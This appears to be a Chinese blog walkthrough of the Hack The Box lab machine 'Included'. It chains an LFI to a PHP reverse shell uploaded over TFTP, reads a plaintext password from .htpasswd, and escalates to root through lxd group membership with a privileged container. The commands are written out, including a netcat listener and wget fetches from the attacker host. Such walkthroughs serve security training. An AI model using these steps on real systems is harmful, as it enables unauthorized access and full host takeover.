STARTING POINT TIER 2 Included

STARTING POINT TIER 2 Included

老规矩上来就是nmap,发现起了Apache

└─$ sudo nmap -sS -sV -sC [ip-address]
PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)

进入浏览器在前端界面没有发现有用的东西,但是url可能存在路径包含

http://http://10.129.95.185/?file=home.php

包含一下/etc/passwd

curl 'http://http://10.129.95.185/?file=/etc/passwd'
#output
...
tftp:x:110:113:tftp daemon,,,:/var/lib/tftpboot:/usr/sbin/nologin

发现一个叫tftp的用户,tftp基于Trivial File Transfer Protocol传输文件。他跟ftp有什么不同呢?Difference between FTP and TFTP

其中关键的一点tftp使用UDP传输协议且不需要密码认证,先用nmap扫一下UDP端口

└─$ sudo nmap -sU -sV [ip-address]
PORT   STATE         SERVICE VERSION
68/udp open|filtered dhcpc
69/udp open|filtered tftp

🆗那就先连一下吧

└─$ tftp [ip-address] 
tftp> put php-reverse-shell.php
Sent 5685 bytes in 4.5 seconds

我们把WebShell传了上去然后通过LFI执行我们的shell。现在的关键是需要知道我们上传的shell在哪。根据TFTP得知

The default configuration file for tftpd-hpa is /etc/default/tftpd-hpa.
The default root directory where files will be stored is /var/lib/tftpboot.

那么包含一下/var/lib/tftpboot/php-reverse-shell.php

先监听一下端口nc -lvnp 1234然后在浏览器输入http://http://10.129.95.185/?file=/var/lib/tftpboot/php-reverse-shell.php🆗反弹shell到手。

进入mike目录cat user.txt告诉我们没有权限。所以需要找到mike的密码。

查阅MDN文档使用Apache限制访问和基本身份验证

.htaccess 文件引用一个 .htpasswd 文件,其中每行用冒号(“:”)分隔的用户名和密码. 你不能看到真实的密码因为它们是 encrypted (在这个例子中是使用了 MD5). 你可以命名.htpasswd 文件 为你所喜欢的名字, 但是应该保证这个文件不被其他人访问. (Apache通常配置阻止访问 .ht* 类的文件).

.htpasswd文件记录着Apache服务器的一些账密

www-data@included:/var/www/html$ cat .htpasswd
cat .htpasswd
mike:Sheffield19

www-data@included:/var/www/html$ su mike

mike@included:/var/www/html$ cat /home/mike/user.txt

id看看mike有哪些有用的信息

mike@included:/var/www/html$ id
id
uid=1000(mike) gid=1000(mike) groups=1000(mike),108(lxd)

LXD

What is LXD?

LXD是一个容器虚拟机管理器,

LXDLXC简介

Linux Container (LXC)通常被认为是一种轻量级虚拟化技术,介于chroot和完全开发的虚拟机之间,它创建了一个尽可能接近Linux安装的环境,但不需要单独的内核。

Linux守护进程(LXD)是轻量级容器管理程序。LXD是在容器技术LXC的基础上构建的,Docker之前使用过LXC。它使用稳定的LXC API在后台完成所有容器管理,并添加REST API,提供更简单、更一致的用户体验。

一个属于lxd用户组的成员可以提升为root权限。

A member of the local “lxd” group can instantly escalate the privileges to root on the host operating system. This is irrespective of whether that user has been granted sudo rights and does not require them to enter their password. The vulnerability exists even with the LXD snap package.

至于怎么利用参考HackTrickslxd/lxc Group - Privilege escalation

按照说明启动了一个alpineimage,启动后在当前目录下会出现lxd.tar.xzrootfs.squashfs文件,需要把这2个文件传上去。

#In Listener
$ python3 -m http.server [port]
Serving HTTP on 0.0.0.0 port [port] (http://0.0.0.0:[port]/) ...

#In reverse shell
mike@included:/var/www/html$ cd /tmp
mike@included:/tmp$ wget http://[ip-address]:[port]/lxd.tar.xz
mike@included:/tmp$ wget http://[ip-address]:[port]/rootfs.squashfs

确认是否上传

mike@included:/tmp$ ls -l
-rw-rw-r-- 1 mike mike     852 May 28 08:43 lxd.tar.xz
-rw-rw-r-- 1 mike mike 2052096 May 28 08:43 rootfs.squashfs

#import the image
lxc image import lxd.tar.xz rootfs.squashfs --alias alpine

#verify that the image has been successfully imported
lxc image list
# run the image and set the security.privileged flag to true
# so that the container has all of the privileges that the root file system has
lxc init myimage mycontainer -c security.privileged=true

# mount the /root into the image
lxc config device add mycontainer mydevice disk source=/ path=/mnt/root recursive=true

# interact with the container
lxc start mycontainer
lxc exec mycontainer /bin/sh

提升为root权限,进入/mnt/root/root拿到root.txt

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值